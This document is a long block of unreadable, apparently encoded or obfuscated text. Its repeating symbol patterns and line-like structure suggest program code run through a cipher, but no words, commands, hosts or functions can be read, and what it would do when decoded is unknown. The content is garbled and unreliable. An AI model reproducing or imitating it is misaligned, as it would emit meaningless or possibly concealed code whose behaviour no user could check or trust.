X_E\^[DEI[	2X[]^DDMggM		2EI\TAMMMMMMECCCIX^	DMMMMMMEI[	2X[]^DMMMgMMMMMMET2_\_\E\^ZDEI[	2X[]^DDMMMI[	2X[]^ECCCIX^	DVgMMMMEIX^	6]0DMMMRMMMMIX^	6]0MMMMWMMMMVgAMMI 2YZUAMI DVggMMMMMMMMMM		2EI\TAMI[	2X[]^AMMMMI 2YZUAMMMI DVgMMgMMMX_T] 
EDgggggMMMI 	[TX2YMPM		E2[
^E[]DDMMMRMMM:=2."#9(#92)$?MMCMM[_
 EYXDMMCMT_
	
  \XE,/>=,9%MCM2[
^E\^UDAME][F]_DDMMMMWMMM[_
 E\\DETXXEDDMMCMMT2_\_\E\^TDVgMMMMMMMMEL-[_
 EXXDEI 	[TX2YDMMMKKM][X2	EI 	[TX2YDDMMgZ^\2 EI 	[TX2YAMMMEY^_F[\DAMMMDVggggMMME-]]
X_EXXDEI 	[TX2YDDMMgMMMMMMMM	 ^^TYEI 	[TX2YMMMCMM2[
^E\Y]DAMOQRMBBM>MM
	C1OAMM[_
 E\^UDDVggMMggggMMMMMMMMMME-2[
^EXXDEI 	[TX2YDMKKM-]]
X_E\Y\DEI 	[TX2YDDMMggggMMMMI 	[TX2YVgMMMgMMMMI

U__MPMMMMM]]
X_E\\DETXXEDDMMCMMM[_
 E\Y_DVgMMMMMEL-]]
X_E\Y^DEI

U__DMMMKKMM][X2	EI

U__DDMMMMZ^\2 EI

U__AMMMMMME]\ZF][DAMMMDVgMMMMMMMME-]]
X_E\Y^DEI

U__DMMMMMKKMMM-[_
 E\Y\DEI

U__DDMMMMMMMI

U__VgMggMI
TUZUMMMPMM[_
 E\\DETXXEDDVggMME-[_
 E\Y\DEI
TUZUDMMMMKKMMI
TUZUMMLPPMMM	2	TY_
TEDDMMMI
TUZUVgMME		E]]
X_E\YYDDMMMMKKMMM-2[
^E\YXDE:=2."#9(#92)$?DMKKMMMMMM][X2	E:=2."#9(#92)$?DDMMMMM:=2."#9(#92)$?VgggMMI 	[TX2YVgMMMMgM _^][[	EDgMMMMgME		ET2_\_\E\YYDDMMKKMM-]]
X_E\Y[DE:=2."#9(#92)$?DMMMMMKKM][X2	E:=2."#9(#92)$?DDMMMMMMM:=2."#9(#92)$?VgggIT[
\[]MPM2[
^E\\DETXXEDDVgMMME][X2	EIT[
\[]DDMMMMMMIT[
\[]VgMMMMMMMM:=2."#9(#92)$?VgggggMMMMMMgMM	2 
UXUTEI\X	DgMgMMMMMME EI*!"/,!>6[_
 E\YZD0DMMMMMLT2_\_\EZ_DEI*!"/,!>62[
^E\YZD0DDMMMMMMVgMMMMMMEEI*!"/,!>6[_
 E\YZD06I\X	0DDMMMVgI2Y_Y	YTYMMMPM]]
X_E\^ZDE]]
X_ETUDDMMMRMM-[_
 ETUDEI\X	DMMWMMMMMVggMMMMMMEI2Y_Y	YTYMMMMMLPPMMMMKKMMMEI*!"/,!>6T2_\_\E\YZD06I2Y_Y	YTY0DDVgMMMMMMMgMMM	
TX
EI\X	DgMMMgMMMMMME EI*!"/,!>62[
^E\YUD0DMMMMMML2[
^EZ_DEI*!"/,!>6]]
X_E\YTD0DDMMMVgMMMMMEI*!"/,!>6]]
X_E\YTD06I\X	0DVgMMMMI2Y_Y	YTYMMPMMMMT2_\_\E\^ZDE[_
 ETUDDMMMRMMMMM-[_
 ETUDEI\X	DMWMMVgMMMMMMEI2Y_Y	YTYMLPPMMMMDMMMEI*!"/,!>6[_
 E\YTD06I2Y_Y	YTY0DVgMMMMMMMMgMMMM]\U
	 ^	
EI\X	DggMMMMMMMMMMELEI*!"/,!>6T2_\_\E\X]D0DMMMMML2[
^EZ_DEI*!"/,!>62[
^E\X\D0DDMMgI*!"/,!>6T2_\_\E\X\D0MPMMMEDVgMgIT]Z2MMMMPMMT2_\_\E\^ZDET2_\_\ETUDDMMMRM-]]
X_E\X_DEI\X	DMMMWMMVgI*!"/,!>6[_
 E\X\D06IT]Z2MMLPPMMMMMMRMMMMIT]Z2MMMMMWMMI\X	0MPMI\X	VgMMMMMMI ^2]U
]MMMMPMMVgMMMMELI ^2]U
]DMI
UP@XZ]VI \ \PEI
US]DRI
UW@I
UVgMMI ^2]U
]MMMPMMVgMME]]
X_E\^ZDE2[
^E\X^DDDMM[_
 E\XYDE[_
 E\XXDDVgMMMMMgMMggM
2[YUUEDgMMMMgMMMMMMME EI*!"/,!>6T2_\_\E\X\D0DMMML[_
 EZ_DEI*!"/,!>6]]
X_E\X[D0DDMMMMgMMMMMMMVgMMgMMMMMEI*!"/,!>62[
^E\XZD0MMMMMMIYY\X2
MMPSMMMMMMI	Z\\DMgBBM-M@ggMMMEL2[
^E\^[DEI	Z\\DDMMMMI	Z\\MPMMMMIYY\X2
VggMMMMMEIYY\X2
MMMMMPPPMMTXXEDMMI	Z\\MMMPPPMMMTXXEDDMVgMMMMgMMMME-]]
X_E[[DEI	Z\\DDMMgMMMMMME2[
^E\^ZDE[_
 E\ZDDDMM    ^U]EI	Z\\AME^_TFT\DDVgMMMMMMMET2_\_\E\^ZDE2[
^E\XUDDMMKKMM__2EI	Z\\DMKKMMMMMM]]
X_E\XTDE2[
^E\[]DDDMM-2	EI	Z\\AMDVgMgMMMMME9MI

ZDMMMgMMMMMMME(MI

ZDMggMMMggggMMMMMMgMMMMM]	
TEDggMMMMMgMI

ZMMPMMMM2[
^E\XTDET2_\_\E\[\DDMMMMRM-2
2EDMMWMMVgMMMMMMMMMELT2_\_\E\[_DEI

ZDMMMMM EI

Z6T2_\_\E\[^D0DMMMM EI

Z62[
^E\[YD0DDMMMMVgMMMMMMMEL]]
X_EZ^DEI

Z6T2_\_\E\[XD0AMMME(2(??"?AM(2=,?>(AMMMM(2."?(2(??"?AMMMM(2." =$!(2(??"?AMM(28>(?2(??"?DAMMMMDDMVgI__^\\MMMMPMMMEI

Z6[_
 E\[[D0DMRME
DMI

Z6T2_\_\E\[[D0MMMMMMWMOOVI	[2ZPZ\\XVI_2T		 
PI	[2ZHZVgMMMMMMMMMEEI__^\\AMMM2[
^E\[ZDDMMMLPPMMMMMMMMEI__^\\AMMT2_\_\E\[UDDMLPPMDMVgMIX 
 TMMPMMM[_
 E\XTDE2[
^E\X_DDMMMRMMM-T2_\_\E\[TDETXXEDDMWMMTXXEDVggggMI2MMMMPMMT2_\_\E\XTDE[_
 E\Z]DDMMMMMMRMMM-T2_\_\E\Z\DEI

Z6]]
X_E\Z_D0DMWMI

Z6[_
 E\Z^D0VgMMMMMMMELT2_\_\E\^[DEIX 
 TDMMML]]
X_E\^[DEI2DMMMI2MMMMLPPMMMMMMIX 
 TDMMMMVgMMMMMMEEI*!"/,!>6T2_\_\E\ZYD0DDMMMMgBBM
@	M	ggMMMI][_\ MPM-[_
 EXZDETXXEDAMMMMMAMAMMMMM]AMEY[ZU@XU_DDVgMMMMMMMMME]]
X_E\^[DEI][_\ DMMMMKKMMMM2[
^EZZDE2[
^EZUDAMI][_\ AMMI2	 DMKKMMMMI2	 6\0MMMMMMLPPMME
DMMI*!"/,!>6]]
X_E\ZYD0DMMMVMgMEI][_\ AMMMMMI2	 DVgMMEEI*!"/,!>6]]
X_E\ZXD0DDMMMMMgMMMMMMET2_\_\E\Z[DE[_
 E\ZZDDDMM-EAMMMMMTXXEDDVgMMMIT	U[MPMMME
DMM-[_
 EU]DETXXEDDMMMCMMJWJMMCMME
DMM-]]
X_EZTDETXXEDDVgMEIT	U[MMLPPMMMME
DMMI*!"/,!>6[_
 E\ZXD0DMMMVMgEIT	U[DVgMMgMgMMMMMMMI]_
] MPMMM]]
X_E\_DETXXEDAM[_
 EZ]DDVgMI X

X_Z[MMMPM[_
 EX]DE2
	

EE
DMMM-2[
^E\ZUDETXXEDDDDVggg	 ^^TYE[_
 E\\DETXXEDDMMMCM[_
 E\ZTDMMCMMMI]_
] AMMMI X

X_Z[AMMJJDVgMMMMEI X

X_Z[MMMMLPPMOODMMgMMM	 ^^TYE[_
 E\\DETXXEDDMMMMMMCMMMMT2_\_\E\U]DMMCMMMMMMI X

X_Z[AME
DMMM]]
X_E\U\DEDAMMMJJDVgMET2_\_\E\Z[DE]]
X_E[TDDDMgBBM$MWM@M@gg-	2E2[
^E\U_DAMMMI X

X_Z[MMMMMCMMMMMJJMMMMMMCMMT2_\_\E\U^DEDAMM[_
 E\UYDDVgMgMMMMMgMMMIZUZ^MMPMMM	2	TY_
TEDVgMMMMMMMEIZUZ^MMMLPPMM[_
 E\\DETXXEDDMMMMKKMMM-]]
X_E\Y^DEIZUZ^DMMKKM-]]
X_E\UXDEIZUZ^DDMg	 ^^TYEIZUZ^MCM[_
 E\ZTDMCMI]_
] AMMMMMMI X

X_Z[AMJJDVgMMMMMgMMMET2_\_\E\Z[DE[_
 E\U[DDMMMKKM2[
^E\Z[DE[_
 E[TDDDMMI2
_^ P@[XVIY
U^PEI2
_^ S]DRI2
_^ W@I2
_^ VgMIUX]\\MMMMPM
2E2[
^EZYDAMMMEDDVgMME[_
 E\[_DEIUX]\\DMMMKKMM[_
 E\UZDE\2[_U2EDAMMIUX]\\AMMMMMDDMMMMg-	2E[_
 EZYDAMMMMT2_\_\EZXDET2_\_\E\UUDEIUX]\\AMME\2[_U2EDDDDDVgMMMMMMMggg2TT 
E2[
^E\UTDDVgMI	T	MMMMMPMMMTXXEDMMCMT2_\_\E\T]DVgMMMMMMME]]
X_E\T\DE]]
X_E_]DDDM-2[
^E_]DETXXEDAMMI	T	DVI\YZPZYG_VI [UPI\YZ@^XVggMMMMMMMME2[
^E\T\DET2_\_\E\[]DDDMMg-2	ETXXEDAMDVggggMMMMMMM-2	EI	T	AMMMMDVgMMMgMMMMMMEE[_
 E\T_DEI	T	DAMMMM	2	TY_
TEDDMMI[T\UTDMMgI	T	 MPMMMMM\YEI[T\UTDVgMMMMMMEL2[
^E\T^DEI	T	 DDMMVgMMMMEI	T	 MMMI_TUZ[DMgMME[_
 E\TYDEI_TUZ[AMMMMM@EYQQ\DDMMLPPMMMT2_\_\E\TXDDMMMMMMVggggIU]MMMMPMI[T\UTMMMMMMCMMJBJMCMMMI_TUZ[VgMIYZZ^Z_MMPMMMMM-T2_\_\EZTDEIU]DVgMMMEIYZZ^Z_MMMKKMIYZZ^Z_MMMQMMMMM]]
X_E\U^DEDMMMM@MMMET]]Z\Z@_TXT\ZDDMMMggMMM    ^U]EIU]AMMMEX]Y@UYDDVgMM__2EIU]DVgMggMgMMMMMggMMEI[T\UTAMMMI	T	 AMMMI_TUZ[AMMIU]AMMMMMIYZZ^Z_DVgMMMMMMMME9MMIUX
	DMMgggMMMMMMME(MMMMIUX
	DMgggMMMMM	] Y_EI\X	AMMMMIYZ
DgMgggMgMMEL]]
X_E\^[DEI\X	DMMMMMMMI\X	MMMMPPPMMMMOOMMMMML[_
 E\^[DEIYZ
DMMMMMMIYZ
MMPPPMMMMOODMMMMMVggggMI 	[TX2YMPMM[_
 E\T_DEI\X	DVgMMMMMMMEL-T2_\_\E\Y^DEI 	[TX2YDMML-T2_\_\E\UXDEI 	[TX2YDDMVgMMMMMI		X_U\[MMMMPMMMMI 	[TX2YMMMCMMMM]]
X_E\T[DMMMCM2[
^E\_DEI\X	AM]]
X_EZ]DDVgMMMMI2  ^MMMMPM-2[
^E\ZUDEI		X_U\[DVgMMMMMME]]
X_E\^[DEI2  ^DMMMMKKMM2[
^EZZDET2_\_\E\TZDAMI2  ^AMI__^\\DMKKM2 EI__^\\6]0AMMIYZ
AMM2[
^E\TUDDDMMMMVgggMMMME2[
^E\T\DET2_\_\E\TTDDDMM-[_
 E\TTDEI		X_U\[AMMMMIYZ
DVggMMMMMMMMMME9MMI

ZDMMgMMMMME(MI

ZDMMMMgggMMMMggMMMMMMMMMM^[XEDgggggMMMMMMgMMMMMEL[_
 E\T\DE2[
^E\U[DDDMMgVgMMMgMME-
2E]]
X_E_]]DAM]DDMgU		
E2[
^E_]\DAM2[
^E_]_DAMM]DVIXPE]TUF]XDVI
2[PIXHZVgMgMMELTZ\]E]]
X_E_]^DDDMVgggggMMMMMMI[_Z
MMMMMPMMMMM[_
 E\TYDE[_
 E_]YDE,/>=,9%MCMMMME
DMMM\YTYEDDAM]AMMMMEUFYDDVgggMI	[\[\MPMMMMMME
DMMMMM-
2EI[_Z
AMMOODVgMMMIZ]]UMMPMT2_\_\E_]XDVgMI^2_[_[T	 MMMMMPMMOOVgMMggIYTTMMPMMME	 U[\EDDVgMMI	Z^MMMPMMMMT2 _U_ EDVgI]Y
MMPMI	Z^MMMMMMCMMJJMCMMMMMMIYTTVggMMMME[_
 E\]]DEI	[\[\AMJJDMMLPPMMMMMMDMMMgMIXT[_MMPM2[
^E_][DEJJAMMI	[\[\AMMMMM_DVgMMIZ]]UMMMMMPMIXT[_6]0VgMMI^2_[_[T	 MMMPMMMIXT[_6\0VMMMMgMMMMgMgMI^2_[_[T	 MMMMMPMMMMI	[\[\VgggMMMggMMMMMMMMMELI^2_[_[T	 DMMMg-	2EI[_Z
AMMI]Y
AMMT2_\_\E_]ZDDVgMVgMMggMMMMMMMMEI^2_[_[T	 MMPPPMMMIYTTDMMgMMEI	[\[\MMMMMLPPMMMMMI]Y
MMMMKKMM2 EI	Z^AMIZ]]UAMMM[_
 E\TUDDDMMggMM-	2EI[_Z
AMMMMI]Y
AM]]
X_E_]UDDVgMMggMMMMMVgggMMMMgIUY	
U[MMMMMMPMMMMEI^2_[_[T	 DVgMMMEIUY	
U[MMMMMPPPMOOMMMMMMM2[
^E\_DEIUY	
U[DMMMLPPMMMMIUY	
U[DMMMMMMgMMM-	2EI[_Z
AMMMI]Y
AMMMT2_\_\E_]UDDVgMMMMMMVgMMMggggMMMI	\U_[X2MMMPMM	2	TY_
TEDMMCMMMMMJBJMMMCMIUY	
U[VgIY2[

MMMPMMOOVggggMMMMMMME		E2[
^E[DDDMMMMMMgMMMIY2[

MPMM:=2=!8*$#2)$?MCMMMMJBJMMMMMCMMMMMM2[
^E_]TDEIUY	
U[AM=,9%$#+"2+$!(#, (DMMCMMMMMJBJMCMMMMMMIUY	
U[VggggMMI UXMPMM-T2_\_\E_\]DEI	\U_[X2DVgMMMITZ^MMPMMMMMI UXMLPPMMMMMKKMI UXMMMSPMMME]\]F]_	DVgMI]
U^MMPMMIY2[

MRMMMM-2[
^E_\]DEIY2[

DMMWMMVggggMI^Z]^^MMPMMMMI]
U^MMMMLPPMMMKKMMMMMI]
U^MMMMSPMETU]^@YU]^DVggggMMMMMMMMELITZ^MMKKMMMMLI^Z]^^DMMgBBM:=M$/=M MggMMM-	2EI[_Z
AMMMMI]Y
AM]]
X_E_]UDDVgMMVgMMMgMMMMMI2YMMPMMMMITZ^MRMMI	\U_[X2MMMWMMIY2[

VgggI
 X2\ZTMPMM-2[
^E_\\DEI2YAMMMMAMMMMMAMMMMM]AMME]UXF]Z]DDVgMMMMMMMME2[
^E\^[DEI
 X2\ZTDMKKMMM[_
 EZZDE]]
X_E_\_DAMMMMI
 X2\ZTAMMI2 DDMMMgMMIZ]]UMMPMI2 6\0VgMMMMMMEX_U2 EI2YAMMME]\^UXF]^DDDMgMMMIZ]]UMPMM]]
X_E_]XDVgggBBM	M	gggMMEI
 X2\ZTAMI2 DVgMI]
]TMMPMITZ^VgMMMELI]
]TMKKMMMI^Z]^^DMMMgI\]MMMMMPM[_
 E_\^DEIUY	
U[AMMMMM=,9%$#+"2+$!(#, (DMMMMMCMMJBJMMMMMCMMMMIUY	
U[VgI
\ ^XMMPMMMMEDM-
2E[_
 E_\YDAMMMMMEDDVgMMMMMMMMI]
]TMPMMMM[_
 E\UZDEI\]AMMI
\ ^XAMMMDVgMMMELI]
]TMMMMMKKMMMM2[
^E\T\DET2_\_\E_\XDDMMKKMMMM2 EDMMMMMKKMMMMM]]
X_E\T\DE[_
 E_\[DDDMgMMMMMI]
[_MMMMMPMMEDM-
22E]]
X_E_\ZDAMMEDDVgI]
]TMPMMMMMEI]
[_6I\]0DVggggEI]
[_DVgMMgMMMMMEI\]AMMMMI
\ ^XDVgMMMgMMMI2UYMMPMM2 EI	Z^AMMMIZ]]UDVgMMMEI2UYMMQPMMMMMM]DMMgMMMI_[MMPMMMX_U2 EI2YAME]ZUF]Y\]DDVgMMMMMMI2U2MMPMMMEDM-]]
X_E_\]DEI2YDVIPXYG[VI_\2PI@Y_VgMMI
\^U]
	MMPMMMELI_[MMMMMMMMMMI2U2MMMMSMMMMMEX_Y_UZ^]FZ]DDVgMMMMMELI
\^U]
	MKKMI2U2MMSME^_YTUF\]\[]ZUDDMMMgMI		 MMMMPMMM-]]
X_E_\\DEI2YAMMAMAMMMMM]AMEY]TYF_DDVgMMMMMELT2_\_\E_\UDEI		 DMMML2[
^EZZDE2[
^E_\TDAMI		 DDMMMI
\^U]
	MMPMMVgMMgMMMMMELI
\^U]
	MKKMMMLUY2 \EI2YDDMI
\^U]
	MMMPMMMVgMMMMMELI
\^U]
	DMggggMMIUU]UTMPMMM[]	ZU_T[EDVgMMMMMEL EIUU]UT62[
^E__]D0DDMgMMI2ZXMMMMPM-T2_\_\E\Z\DEIUU]UT6]]
X_E__]D0DVgMMMMMMMMI]^UU]^_MMMPMMM-T2_\_\E\Z\DEI2YDVgggME2[
^E__\DEI2ZXDMMMMMKKMMT2_\_\E___DEI]^UU]^_DMMKKMI2ZXMPPPMMI]^UU]^_DMgMI
 YU	MPMMMMMU ^ U
EIUU]UTDVgMMMMMMMMMMMMMEI
 YU	MPPPMMT2_\_\E__^DMMMMMI
 YU	MPPPMM]]
X_E__YDDMMMMI
\^U]
	MMMMPMVgMggggMEI2ZXAMMI]^UU]^_AMMMI
 YU	DVgMgMMMMELI
\^U]
	MMMMMKKMMM[T [2_UEI2YDDMI
\^U]
	MMPMVgMEIUU]UTDVgMMMMMgMMMEI
\^U]
	DMgMMMMEI_[DMM]\U
	 ^	
EI2YDVgMM-	2EI[_Z
AMMMI]Y
AMMMMMM2[
^E__XDDVgVgMMgMMMMELI]
]TDMMMggMMMMMMMM-	2EI[_Z
AMI]Y
AMM2[
^E__[DDVgMMMMMMMVggMMgMMM	] Y_ETXXEDAMIZ]]UDVggMZ\ ]
	ETXXEDDVgMMMMMMVggMMMgMMMME EI*!"/,!>62[
^E__ZD0DDMgMMMMMMI*!"/,!>6T2_\_\E__ZD0MPMMMVgMMMMggMMMEX_U2 EI2YAMMMMMME\\Z^F^U_ZDDDMM]\U
	 ^	
EI2YDVgMMMMMMMIY_MMPM]]
X_E\U^DEDVgM[]^^
_ETXXEDAMMMMEIY_M@MMMEIY_MMHME]\X	F]\[ZY^DDDMMMFMMMMM\YTYEDDVgMEIY_DVgggM	] Y_EI	\U_[X2AMMI	Z^DVgMMMMMEIY2[

DMMMMMM	] Y_EIY2[

AMI	Z^DVgMU		
E[_
 E__UDAMMMT2_\_\E__TDAMMMM]DVg-	2EI[_Z
AMMI]Y
AMMMM2[
^E__[DDVggggMMMM2TT 
E[_
 E_^]DDVggggggMMMMMEIY2[

MLPPMMOOMMMMKKMMMMMM]]
X_E_^\DE2[
^E[TDDDMMgMMMMMMI]2\MMMMPMM2[
^E_\^DEIUY	
U[AM=,9%$#+"2+$!(#, (DMMCMMMMJBJMMMMMCMMIUY	
U[VgMMMMMI
\ ^XMMMMMPMM-
2ET2_\_\E_\YDAMEDDVgMMET2_\_\E\T^DEI
\ ^XDMMMKKM]]
X_E\UZDEI]2\AMMMMI
\ ^XAMMMMDDMMMgMMMMMMMM-	2ET2_\_\E_\YDAM2[
^EZXDE[_
 E_^_DEI
\ ^XAMEI]2\DDDDVgMMgEI]2\AMI
\ ^XDVggMMgMMMVgMMMMMMME9MMMI

ZDMMgM]Y\
\[ZE]]
X_E_^^DAMI

ZDVgMMMMMMME(MMMI

ZDMMMggggMMMMMg^U^\
TE]]
X_E_^YDDVgMMMMMgMgMMMMM\YEI 	[TX2YDggggMMMgBGM@M MGBggMMMME2[
^E_^XDE]]
X_E_^[DDMMKKM2[
^E_^XDET2_\_\E_^ZDDDMggggMMMI [	\ZUMMMMPMMM-T2_\_\E_^UDEI 	[TX2YDVgMMMEI [	\ZUDMMI]]PE]TTF]YDVI T2PI]]HUVgMMIT  \ \ MMMMMPMEDVgggMMMMEEI

ZMMMMMMPM-[_
 E_^ZDEI [	\ZUDDMMLPPMMDMMMgMMMMMMMMEI

ZMLPPMJCJMMKKMMI

ZMMLPPMM]]
X_E_^TDDMIT  \ \ 60MPMI

ZVgMMMMggMMMMMMMET2_\_\E_^XDE]]
X_E_Y]DDDM-]]
X_E_Y\DEI [	\ZUDVggggMMMMMMMIT  \ \ VggBGM@M@MGBggMgME[_
 E_Y_DE[_
 E_Y^DDDMgMMI	]^\^
TMMMMMPM-T2_\_\E_Y^DEI 	[TX2YDVgBBM?M@MM99!ggMMMMMMMMMME2[
^E\T^DEI	]^\^
TDDMMM2[
^E_YYDE2[
^E_^_DEI	]^\^
TAMEJCJAMMMM2[
^E_^TDDDDVgMMgME[_
 E_YXDE]]
X_E_Y[DDDMgMI ^T2MMMPM-T2_\_\E_Y[DEI 	[TX2YMMMMCMT2_\_\E_YZDDVgMMMME[_
 E_YUDEI ^T2DDMMMMMM]]
X_E_YTDE2[
^E_X]DAMMMI ^T2DVggggMMMVggggMMMMgggMMM]TX^EI]_]XDgMMMMgMMMEL[_
 E___DEI]_]XDMMMM]]
X_E_X\DEI]_]XAMMMMM[_
 E_X_DDMMMPPPMMMDMMMMVggggMMMMET2_\_\EXYDEI]_]XDMMSME\XTY[Y[@XY[]Z]DDMI]_]XMPM2
	

EI]_]XDVgMMMMMMMME]]
X_EXYDEI]_]XDMMMSMMME\]YUXZ\FXDDMMMVgMMMELT2_\_\E_YXDE[_
 E_X^DDDMMMMMMMMMMVgMMMEL		E2[
^E_XYDDDMMMgMIZ^	T MMPMMMM-2
2EI]_]XDVgMMMMMMMEL]]
X_E_XXDEIZ^	T DDMMMMMMMMVgMMI]UMPMMMM]VggggMMMEIZ^	T MMMMMI 	^ZYZ[DMMgMMMMMMMMME2[
^E_XXDEI 	^ZYZ[DDMMgMMMMMEI 	^ZYZ[6]0MMPPPMMMMMM92.8?!42"=(#MMMMMMI 	^ZYZ[6]0MMMPPPMMMMM92)"!!,?2"=(#2.8?!42/?,.(>DMI]UFFVgVgMMMgMMMMMMMEI 	^ZYZ[MMMMPPPMMMJJDMI]UFFVgMMEI 	^ZYZ[MPPPMMMJJDMMgI]U@@VgMMEI]UMQMMM]DMMMMVgMggMMgMMMMI]UMMMPPPMM]VgMMMgMMgMMMM-2
2EI]_]XAMMMM9"&(#2=,?>(DVgMMMMVgMMME9MMI

ZDMMgMMMMMVgMMMMMMMMME(MMMI

ZDMMMMgMMMMMMMMMVgMMMMMMMgMMgMMMMMMY [\X_EDgMgMME2[
^E_X[DAMMMM[_
 E_XZDAMM[_
 E_XUDDVggMMMMMMM	]^2 ZEDgMMMMMMMgggMMMME[_
 E_XTDAMMMMT2_\_\E_[]DAMMM2[
^E_[\DAMMM]]
X_E_[_DAM]]
X_E_[^DAMM]]
X_E_[YDAM[_
 E_[XDAMMMM[_
 E_[[DAMMM2[
^E_[ZDAMMMM[_
 E_[UDAM[_
 E_[TDAMMM2[
^E_Z]DAMT2_\_\E_Z\DAMM2[
^E_Z_DAMM[_
 E_Z^DAMT2_\_\E_ZYDAMMMT2_\_\E_ZXDAM[_
 E_Z[DAM2[
^E_ZZDAMMT2_\_\E_ZUDDVggMMMMgMMMMMMMM]ZZY[^YEDggMMMMMME2[
^E_ZTDAM[_
 E_U]DAM]]
X_E_U\DAMMMMM2[
^E_U_DDVgMMMMMMMgMMMgMMT[
	UEI2XUZDgMMMMgMMMMMET2_\_\E_YXDE2[
^E_U^DDDMMMM
	EI2XUZAMMEXFYDDVgMME[_
 E_YXDE]]
X_E_UYDDDMMgBBM=%=M.>M+M	 MgggggMMMMMMO1\1U1]U1]]1]]1]]1]]1]]1]]1]^OMMCMM
	EI2XUZAME\Z@UDDMMCM2[
^E_UXDEJ;JAMM]]
X_E_U[DEI2XUZDDMCMMM2[
^E_UXDEJ;JAM]]
X_E_UZDEI2XUZDMMMMKMEY_TYT[Z___FZ^DDVgMggggMI2XUZVgMMMMgMMMMMMMM2]Z2UEI2XUZDggMMgMMMMMMMEL2[
^E___DEI2XUZDMMMM]]
X_E_UUDEI2XUZDMMQM_DMMMI2XUZVgMMMMME2[
^E\TYDEI2XUZAMMMM]AMM_DMLPPMMMMO1\1UODMMMMMMI2XUZVgggMMMET2_\_\E_UTDEI2XUZDMMQMMMMMETQQ\DDMMMMMMVgMI U\ZZMPM-]]
X_E_T]DEJ;JAM2[
^E\TYDEI2XUZAMMMMM@EU@YDDDVgI U\ZZMPMMT2_\_\E_T\DEI U\ZZDMRMI U\ZZ6\0MMWMM]VgggMMMMMMMMMEI U\ZZMMQMMMMEY\_FUUDMMMMI U\ZZMMSMME\]YUX^_FYYDDMMMMVggMMMME2[
^E_YXDE2[
^E_T_DDDMMgggIYT]XMPMM-
		EI2XUZAMMMMME\]\[_Z\F^_^]XDDVgMMMEIYT]XMMLPPMMDMMMMMIYT]XVgMgMMMMET2_\_\E_YXDE[_
 E_T^DDDMMMMMgIYT]XMPMMM-
E2[
^E\TYDEI2XUZAMMMMMME_FUDAM[_
 E_UTDEI2XUZDM@MME]\F]\\DDAMME\]YUYZTFTZDDVgMMMMMMMET2_\_\E_TYDEIYT]XDMMMKKM[_
 E_UTDEIYT]XDMMMMQPMMMMMME\]YUYTXFU\DDMMRMIYT]XMMMMWMMMVgggMMMMMVgMgMgMMELMT2_\_\E_YXDE]]
X_E_TXDDDMMMMgMMMMM_EI]\_DgMgMMMMELMMMMM]]
X_E_TYDEI]\_DMMMT2_\_\E_UTDEI]\_DMMMHMMMMM_MLPPMM]DMMgMMVggMMMM]]
X_E_T[DE]]
X_E_TZDAMI]\_DVgggggggMMMMMMgggMMMMMMggM	^EDgMMMMgMI2_\XMMMMPMMMEDVgMMMMMMMITY 2X[YMMMPMME,/>=,9%AMM,/>=,9%MCM]]
X_E_TUDAMMM,/>=,9%MCMM2[
^E_TTDDVI
\P\XZ_\YVIXU	 YPI
\3[^VgMMME		ET2_\_\E^]]DDDMITY 2X[Y60MMMPMMM:=2."#9(#92)$?MMMCMJBJVgMMMMMMMMMEITY 2X[YMMIYT]XDMMgMMMMMMMMIX^
Z
2\MMMMPMMT2_\_\E_YXDE2[
^E^]\DDMMMRM-2[
^E^]\DEIYT]XMCMMM[_
 E^]_DDMMWMMVgMMMMMME2[
^E^]^DEIX^
Z
2\DDMMgMMMEIX^
Z
2\MMMMMIYTX]	DMMMMMMgMMI^ Z2XT2MMMPMM-[_
 EZTDEIYTX]	DVggggMEI^ Z2XT2MMKKMMMMI^ Z2XT2MMMSMMMMETY[[UYZ[_F^UDDMMgggI2_\X60MMPMMMMI^ Z2XT2VI\^  P_^^\ZTVI	T\U2PI\^  3_\UVgMMMMMMMgMMMMMMggMggggMMMMMMMMEL EI2_\XDDMMgMMMMMI [X\MPMMMMI2_\X6T2_\_\E^]YDEI2_\XD0VgMMMMMEI [X\MMMM@MMMEI [X\MMHMMMMMME\][FTTUTYDDDMMFM\YTYEDVgMgMI[_[MPM]]
X_E\U^DEDMM@MEE^Y^F__DMMMMGMMME]\[F]_DMMGME]T_^F]Y	DDVgMMggMI 2\T[^\
YMMPM[_
 E_YXDE]]
X_E^]XDDMMRM2	E]AME__FUDMGMME\^F\\DMGME^X^_F[UDDMWMMMT2_\_\E^][DE]AMMMMME_YF[DMGME\F_^DMMMMMGMME^Z^[@\^[DDVgMMI [X\MMMMPMI[_[MMMMM@MMMI 2\T[^\
YVgMMMMMMggMMMMMMMMMMEI [X\MMMMM@MEI [X\MMMMMHMMMMME]\T_F]\UX]DDDMMMMMFM\YTYEDVggMMMMMMgMMMZTTTUEI^X	_]
^]AMMMI \^\2XAMI2]
^^^MMPMMMMDgMgMMI	]Z2[MMMMMPMMMEI TU_]DMMMMMMMMEI2]
^^^DMMgMMMMMEL2[
^E^]ZDEI TU_]DMMMMI TU_]MPPPMMMMMMOODMMMVgggMMMMME]]
X_E_UTDEI TU_]DMMMMSMMMMMEU^UUXZTF_TDDMMMMVgMMMMEI2]
^^^DMMMMMgMMMMggggMMMMMMMEDMMM[_
 E^]UDEI2]
^^^AMMMMMI TU_]DVgggMMMMMMME9MMMMI

ZDMgggMMMMMVgMMMMMMME(MI

ZDMMMMMMgMMMMMMMVggMMMMMMgMMMVgMMMMMMVgI]YZ		MMMPMMT2_\_\E_YXDE2[
^E^]TDDMMMMRMMM-[_
 E^]TDEI^X	_]
^]AMMMMEgM2[
^E^\]DMMMPSMMMI \^\2XAgMMM]]
X_E^\\DMMPSMAg]]
X_E^\_DMMMMPSME\XZ[][]Y@Z^Z\TT[DAgMMMMMMMDDMMMWMVgMMMMEI]YZ		MMKKMMMEL[_
 E_YXDE[_
 E^\^DDMMMMMML22EI]YZ		DDDMgMMMMMEEDM2 222	EI]YZ		DMMMMMPPPMME_Y\@Y\DDMMggI	 \MMPM2 22	EI]YZ		DVgMMMMEI	]Z2[EI	 \DDMMMMMI	 \VgMgMMMMMMgMMMMET2_\_\E^\YDET2_\_\E^\XDDMKKM]]
X_E^\YDET2_\_\E^\[DDMKKM]]
X_E^\YDE[_
 E^\ZDDDMMgMMMMMMMI[\2
MMMMPM-]]
X_E^\XDEI^X	_]
^]DVgMMMEI[\2
MMMMPPPMDMMMMMMVgMMM-2[
^E^\[DEI[\2
AMEgET2_\_\E^\UDDMMMMPSMMMMMAggggMMMMMMMET2_\_\E^\TDDMMMPSMMI \^\2XAgMMMMMMET2_\_\E^_]DDMMMMPSMMMAgME]]
